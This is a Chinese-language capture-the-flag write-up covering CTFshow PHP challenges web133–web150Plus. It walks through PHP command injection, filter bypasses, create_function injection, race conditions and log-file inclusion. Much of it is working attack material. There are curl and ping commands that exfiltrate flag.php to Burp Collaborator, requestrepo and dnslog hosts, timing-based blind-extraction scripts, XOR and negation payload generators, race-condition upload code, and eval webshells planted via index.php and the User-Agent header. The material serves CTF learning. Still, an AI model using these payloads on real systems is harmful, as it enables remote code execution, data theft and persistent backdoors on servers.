Ctfshow web入门 PHP特性篇 web89-web151 全(二):https://developer.aliyun.com/article/1585258
CTFshow PHP web133
hint:ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客
考点:命令执行的骚操作和curl -F的使用
@:防止报错
substr($F,0,6):截断得前六个字符
如果只能有6个字符的话,执行命令确实不可能。
看一个骚一点的例子: 确实sleep了
?F=`$F` ;sleep 3
不是说好6个字符吗?这么长这么还能执行?
分析一下
传入?F=`$F` ;sleep 3 //此时不被正则过滤,程序中$F=`$F` ;sleep 3 经过substr()函数截断,那行代码变成eval(`$F` ;); 之前说了,程序中$F=`$F` ;sleep 3 那行代码就是eval(` `$F`;+sleep 3 `;); 所以执行了sleep 3
同理,我们可以构造
?F=`$F` ;ls / ?F=`$F` ;tac /f*
但是事实是,命令可以执行,但是没有回显。
无回显RCE,学个新姿势:利用curl去带出flag.php
打开Burp的 Collaborator Client
点击第一个,第二个用来刷新
剪贴板中多了一个nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net
payload:
?F=`$F` ;curl -X POST -F xx=@flag.php http://nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net //无换行 //其中-F 为带文件的形式发送post请求 //xx是上传文件的name值,flag.php就是上传的文件
正常无回显做法
1、写入文件。经过测试没有写文件权限。 2、dnslog外带 平台打不开了,nnd,这个方法应该是可以的 3、http信道 【超级可行】 4、反弹shell bash反弹 无效 5、反弹shell 利用平台 无效
http信道payload:
?F=`$F` ;curl http://f74d1j0x.requestrepo.com/?1=`cat flag.php|base64`
base64解码得
CTFshow PHP web134
$_SERVER['QUERY_STRING']:查询(query)的字符串
https://blog.csdn.net/qq_49480008/article/details/115872899
parse_str():将字符串解析成多个变量
extract():从数组中将变量导入到当前的符号表
payload:
?_POST[key1]=36d&_POST[key2]=36d
有点抽象,羽师傅的例子感觉比较好。
flag在源码里面。
CTFshow PHP web135
加强版web133
error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
过滤拉满,之前的payload估计用不了了。
看了一下别的师傅的wp,全是围绕文件来写的。
?F=`$F` ;cp flag.php x.txt ?F=`$F` ;nl flag.php>x.txt ?F=`$F` ;mv flag.php x.txt
确实可以,不错的姿势,学到了。
看web133官方wp评论区的时候,有个师傅的思路值得借鉴。
首先,直接访问flag.php是无法访问的。但是访问一些不存在的文件名比如asdasdssa.txt,却不会显示404,而是源码界面。
不知道为什么,用mv rename cp命令修改文件名,都没有达到预期效果。
还有一种思路就是用\ ' "绕过关键词过滤
?F=`$F` ;cu\rl http://f74d1j0x.requestrepo.com/?1=`t\ac /flag.php|ba\se64`
实际测试了一下,只有\可以绕过过滤。
同时,http信道,可以接收ls /、env等命令的结果,无法获得tac flag.php的结果,同时命令ls的回显中也没有flag.php,不知道出题人是用什么手段藏了flag.php
官方payload:
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
CTFshow PHP web136
又是大过滤,哈哈,我疯啦。
exec():执行一个外部程序,类似system()
对比一下过滤,我们能执行的命令有
ls ls / env cat tac nl tee 等
tee命令:
tee file1.txt file2.txt //复制文件 ls|tee 1.txt //命令输出
payload:(命令执行结果就是在文件1和2里面啦)
?c=ls /|tee 1 ?c=tac /f149_15_h3r3|tee 2
CTFshow PHP web137
题目描述:没有难度 //确实,没骗人
考点:考察调用类中的函数
我们最终目标是执行echo file_get_contents("flag.php");语句,就是调用cyfshow类中getFlag()方法。
php中 ->与:: 调用类中的成员的区别:
->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法
双冒号可以不用实例化类就可以直接调用类中的方法
payload:
ctfshow=ctfshow::getFlag //POST
CTFshow PHP web138
题目描述:一丢丢难度
strripos():计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
if(strripos($_POST['ctfshow'], ":")>-1):要求我们POST进来的ctfshow参数不包含符号:
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
查看phpinfo();
ctfshow=phpinfo //call_user_func('phpinfo');
CTFshow PHP web139
题目描述:BY YU22X 没变化吗?
这个应该是web136的改版,我们可以看见的源码应该是一样的。
在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。这也是一种无回显RCE带出数据的办法!
awk命令:
用awk命令、cut命令截取字符 sleep命令确认是否正确 awk NR==n 获取第n行信息 cut -c n 截取第n个字符 zsh下if语句的格式: if [命令] { command } elif { ....... } else { ....... }
我们的payload:
if [ `ls /|awk 'NR==6'|cut -c 4` == V ];then sleep 3;fi
直接使用提示给的脚本。(略改了一点)
爆破根目录文件名脚本:
import requests import time import string str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加 result = "" # 初始化一个空字符串,用于保存结果 #获取多少行 for i in range(1, 99): key = 0 #用于控制内层循环(j)的结束 #不break的情况下,一行最多几个字符 for j in range(1, 99): if key == 1: break for n in str: #n就是一个一个的返回值 payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符 #print(payload) url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。 # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环 except: result = result + n print(result) break if n == '~': #str的最后一位,“~”不常出现,用作结尾 key = 1 # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置 result += " "
获取flag文件内容的脚本:
import requests import time import string str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了 result = "" for j in range(1, 99): for n in str: payload = "if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j, n) # print(payload) url = "http://69a7422b-3330-4a7a-993e-8600f18ef1b5.challenge.ctf.show?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) except: result = result + n print(result) break if n=="~": result = result + "花括号"
(跑的时候别开梯子呜呜呜)
结果:
flag文件名:f149_15_h3r3
flag:ctfshow{6f1d1b8d-7f85-4d44-86b9-a11d937e0691}
CTFshow PHP web140
考点:==松散比较
小元砸师父一表速览
我们最终的目标是intval($code) == 'ctfshow'
intval()函数,若参数是非数字,则输出0intval('a')==0 intval('.')==0 intval('/')==0
根据上表,我们看得出0==‘ctfshow’
再倒推一步,我们使得return $f1($f2());返回0即可。
由此我们可以构造payload:
f1=intval&f2=intval
解释一下这个payload:此时原语句return $f1($f2());变为return intval(intval());既是return intval(0);值是0,所以c o d e = 0 ,满足 ‘ i n t v a l ( code=0,满足`intval(code=0,满足‘intval(code) == ‘ctfshow’`
f1=usleep&f2=usleep f1=md5&f2=phpinfo f1=md5&f2=sleep f1=md5&f2=md5 f1=current&f2=localeconv f1=sha1&f2=getcwd 因为/var/www/html md5后开头的数字所以我们改用sha1
CTFshow PHP web141
满足preg_match('/^\W+$/', $v3)即v3没有数字、字母和下划线
PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;是可以正常执行的。
v3的构造使用无字母数字RCE的取反构造来实现。
PHP脚本:
<?php //在命令行中运行 /*author yu22x*/ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
运行脚本,得到v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
所以payload为:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1
经过测试,* / +(%2B,不编码会被当成空格) %都可以代替-
CTFshow PHP web142
sleep(0),沉睡0秒直接包含flag文件
payload:
?v1=0 //8进制 ?v1=0x0 //16进制 ?v1=0e666 //科学计数法
CTFshow PHP web143
题目描述:141的plus版本
可以看见,它把~过滤了,同时也过滤了减号、加号、取余号。
绕过方法:取反用异或代替,减号用乘或除代替。
异或脚本:
import urllib from sys import * import os def action(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
生成xor_rce.txt的PHP脚本。(生成后放在python脚本同目录之下)
<?php /*author yu22x*/ $myfile = fopen("xor_rce.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
CTFshow PHP web144
题目描述:143的plus版本
做法同143
修改php脚本的时候需要注意一点
payload:
?v1=1&v3=-&v2=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a")
CTFshow PHP web145
题目描述:144的plus版本
可以看见,它没有把~过滤,回归取反。但是他把加减乘除取余都过滤了。
羽师傅的小测试:
eval("return 1?phpinfo():1;");
测试结果是可以执行。所以我们可以使用三目运算符
所以我们的目标是构建eval("return 1?tac f*:1;");
payload构造类似之前:
?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1 //三目运算符 ?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1 //也可以1|(xxx)|2
CTFshow PHP web146
题目描述:145的plus版本
过滤了:,不能用上一题的三目运算符payload了。但是可以用第二个。
payload:
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1 //这个也可以 ?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||&v2=1 //1==(xxx)||1
CTFshow PHP web147
这题类似Code-Breaking Puzzles挑战赛中easy - functionCode Breaking 挑战赛 Writeup (seebug.org)
考点:create_function函数注入
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行
对POST进去的ctf有过滤,对GET进去的show没有过滤。
正则匹配preg_match('/^[a-z0-9_]*$/isD',$ctfshow)表示匹配只有字母数字下划线的字符串。
如果我在$ctfshow前加一个符号,那么正则匹配返回false。
由于
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以在调用函数时,在前面加一个\并不影响函数的执行。
create_function()代码注入:
create_function('$a','echo $a."123"') 类似于 function f($a) { echo $a."123"; }
如果此时$a可控,我们使a=1;}phpinfo();//
create_function('$a','echo $a."123"') 类似于 function f($a) { echo 1;}phpinfo();//."123"; } 就是 function f($a) { echo 1; } phpinfo();
这个原理就类似于SQL注入了,主动闭合+注释多余内容。
payload:
?show=}system("tac f*");/* //GET ctf=\create_function //POST
CTFshow PHP web148
题目描述:什么是变量?
过滤有点凶。但是没过滤^。
方法一:
那就不要疑惑,可以异或。直接CV正则表达式,生成字典跑脚本。
payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
方法二:
中文变量绕过
payload:
?code=$给特="%60%7B%7B%7B"%5E"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac%20f* //?code=$给特="{{{"^"?<>/";${$给特}[参数一](${$给特}[参数二]);&参数一=system&参数二=tac f* //"{{{"^"?<>/"; 异或出来的结果是 _GET //也可以 ${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g
CTFshow PHP web149
题目描述:你写的快还是我删的快?
分析一下代码:
//ctf是被写入文件的文件名,show是写入的文件内容 file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); // 获取当前目录下的文件和子目录列表 foreach($files as $file) { //遍历当前目录下的所有文件和子目录列表 if(is_file($file)){ // 如果是文件 if ($file !== "index.php") { // 如果文件名不是 "index.php" unlink($file); // 删除文件 } } }
预期解:条件竞争
CV一个大师傅的py脚本
# -*- coding: utf-8 -*- # @Time : 20.12.5 11:41 # @author:lonmar import io import requests import threading url = 'http://9366a64f-c8d9-47fb-a750-22543527dae3.challenge.ctf.show/' def write(): while event.isSet(): data = { 'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>' } requests.post(url=url+'?ctf=1.php', data=data) def read(): while event.isSet(): response = requests.get(url + '1.php') if response.status_code != 404: print(response.text) event.clear() if __name__ == "__main__": event = threading.Event() event.set() for i in range(1, 100): threading.Thread(target=write).start() for i in range(1, 100): threading.Thread(target=read).start()
非预期:代码逻辑
既然他不删除index.php,并且我们也可以往index.php里面写内容。
那我们就狠狠入index.php
payload:
?ctf=index.php //GET show=<?php eval($_POST[hack]);?> //POST
CTFshow PHP web150
题目描述:对我们以前的内容进行了小结,我们文件上传系列再见!
<?php include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; // 私有成员变量 $secret,存储 flag function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; // 在对象销毁时输出 $secret } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ // 如果指定类(CTFSHOW)存在,则输出提示信息 echo "class is exists!"; } // 如果 $isVIP 为真且 ctf 字符串中不包含冒号 if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
我们最后一步肯定是include($ctf);包含文件。那个CTFSHOW类貌似做到最后也没有用上。
方法:日志包含
WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
日志文件路径:
apache一般是/var/log/apache/access.log。 nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。
题目是nginx
步骤一:
先抓包,修改UA头,发包,把恶意代码写入日志文件。
UA头:<?php eval($_POST[jay]);?>
步骤二:
包含日志文件,进行RCE
?isVIP=true //GET ctf=/var/log/nginx/access.log&jay=system("tac flag.php"); //POST
session文件包含貌似也是可以的,这里不赘述了。
CTFshow PHP web150Plus
源码和之前差不多,改变的只有多对ctf过滤了log使我们不能日志包含
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
session文件包含可以继续打。
临时文件包含也行(在文末补充,这里不占用篇幅了)
exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
预期解:
这个题一点点小坑
__autoload()这个函数并不属于CTFSHOW这个类的,全局都可以用。在定义这个函数后,尝试使用不存在的类的时候会自动加载。
**class_exists()**同样会触发__autoload()函数【存疑】
根据web123:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。
使用?..CTFSHOW…=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性
最后构造?..CTFSHOW…=phpinfo就可以通过extract()函数实现变量覆盖($__CTFSHOW__=phpinfo),之后利用__autoload()函数,加载phpinfo,那就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载$__CTFSHOW__,因为等于$__CTFSHOW__phpinfo就会去加载phpinfo
payload:
?..CTFSHOW..=phpinfo
临时文件包含补充:
临时文件包含
我们知道,PHP强制上传文件会储存到/tmp/phpxxxxxx
文件包含,能否包含一个 /???/???[@-[]]
答案是:不行 文件包含,不支持通配符 !
我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除
突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称
假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name元素存储临时文件名字,读取后可以成功包含
验证原理步骤:
1.先准备upload.html脚本,部署在自己的vps上面
2.phpinfo.php中有语句phpinfo(); include $_FILES['file'][tmp_name];
3.upload.html脚本强制上传文件到phpinfo.php
4.自动跳转到什么什么/phpinfo.php
5.因为脚本执行时,有临时文件,同时又phpinfo();了,所以phpinfo中又临时文件(内容为上传的文件)路径,在$_FILES['file']==>[tmp_name]中
6.由于include $_FILES['file'][tmp_name]; 语句,临时文件被包含,其中的恶意代码被执行,实现了RCE。
但是现实中不会出现语句include $_FILES['file'][tmp_name]; 我们不知道临时文件的名字。
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
一次发4096个字符,没凑够4096个字符不发送。
如果不断往phpinfo界面填充数据,使其不断增大,超过4096时,就会把数据分开来一段一段返回,
这时候就去找他的[tmp_name],找到了就马上包含。因为一直在发送字节,所以脚本不算执行完毕
临时文件还存在,能包含。这就是原理
upload.html:
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="gogogo!" /> </form>
- a-zA-Z ↩︎